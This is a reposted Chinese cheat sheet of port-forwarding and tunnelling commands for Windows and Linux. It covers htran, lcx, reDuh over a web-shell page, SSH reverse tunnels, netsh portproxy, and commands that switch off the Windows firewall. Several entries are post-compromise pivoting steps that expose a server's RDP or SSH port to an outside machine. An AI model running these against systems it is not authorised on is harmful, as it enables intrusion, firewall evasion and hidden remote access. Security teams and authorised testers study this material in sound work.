端口转发

来源:互联网 发布:光纤分布数据接口 编辑:程序博客网 时间:2024/06/11 00:58
Windows:
1、htran
正向代理
服务端 htran.exe -s -bind 8888
客户端 SocksCap:SOCKS Version 5 服务端IP:8888



反向代理
客户端 htran.exe -s -listen 1234 8888
服务端 htran.exe -s -connect 客户端IP 1234
客户端 SocksCap:SOCKS Version 5 127.0.0.1:8888



正向端口转发
服务端 htran.exe -p -tran 8888 127.0.0.1 3389
客户端 RDP 服务端IP:8888



反向端口转发
客户端 htran.exe -p -listen 1234 8888
服务端 htran.exe -p -slave 客户端IP 1234 127.0.0.1 3389
客户端 RDP 127.0.0.1:8888







2、lcx
客户端 lcx.exe -listen 1234 8888
服务端 lcx.exe -slave 客户端IP 1234 服务端IP 3389
客户端 RDP 127.0.0.1:8888







3、FPipe
fpipe -l 监听端口 -s 重定向源端口 -r 重定向目的端口 重定向目的IP
fpipe.exe -l 80 -r 3389 127.0.0.1







4、rinetd
rinetd.exe -c rinetd.conf

rinetd.conf
0.0.0.0 1234 127.0.0.1 3389
监听IP 监听端口 重定向目标IP 重定向目标端口







5、httptunnel
客户端 htc -F 8888 服务端IP:80
服务端 hts -F localhost:3389 80
客户端 127.0.0.1:8888







6、reDuh
java -jar reDuhClient.jar http://website/reDuh.aspx



nc -vv localhost 1010
[createTunnel]1234:127.0.0.1:3389



RDP 127.0.0.1:1234



[killReDuh]







7、aspxspy.aspx PortReverseWin.php






================================================

---------WinXP/2003-------------

首先安裝IPV6

netsh interface ipv6 install

关闭/启动防火墙

netsh firewall set opmode DISABLE/ENABLE

--------------------------------


---------Win7/2008--------------

关闭/启动防火墙

netsh advfirewall set allprofiles state off/on

--------------------------------


--------------------------------


添加转发

netsh interface portproxy add v4tov4 转发端口 目标IP 目标端口

或者

netsh interface portproxy add v4tov4 listenport=转发端口 listenaddress=本机IP connectport=目标端口 connectaddress=目标IP


查看转发

netsh interface portproxy show all


删除转发

netsh interface portproxy delete v4tov4 listenport=转发端口

或者

netsh interface portproxy delete v4tov4 listenport=转发端口 listenaddress=本机IP


--------------------------------

================================================








Linux:
1、lcxForLinux
客户端 lcx.exe -listen 1234 8888
服务端 ./lcx -slave 客户端IP 1234 服务端IP 22
客户端 SSH 127.0.0.1:8888







2、SSH Tunnel
服务端 ssh -C -f -N -g -R 1234:127.0.0.1:22 客户端用户名@客户端IP -p 22
客户端 ssh 服务端用户名@127.0.0.1 -p 1234







3、reDuh
java -jar reDuhClient.jar http://website/reDuh.php



nc -vv localhost 1010
[createTunnel]1234:127.0.0.1:22



SSH 127.0.0.1:1234



[killReDuh]







4、rinetd
./rinetd -c rinetd.conf

rinetd.conf
0.0.0.0 1234 127.0.0.1 22

监听IP 监听端口 重定向目标IP 重定向目标端口


转自:http://blog.sina.com.cn/s/blog_777f9dbb0101008r.html

0 0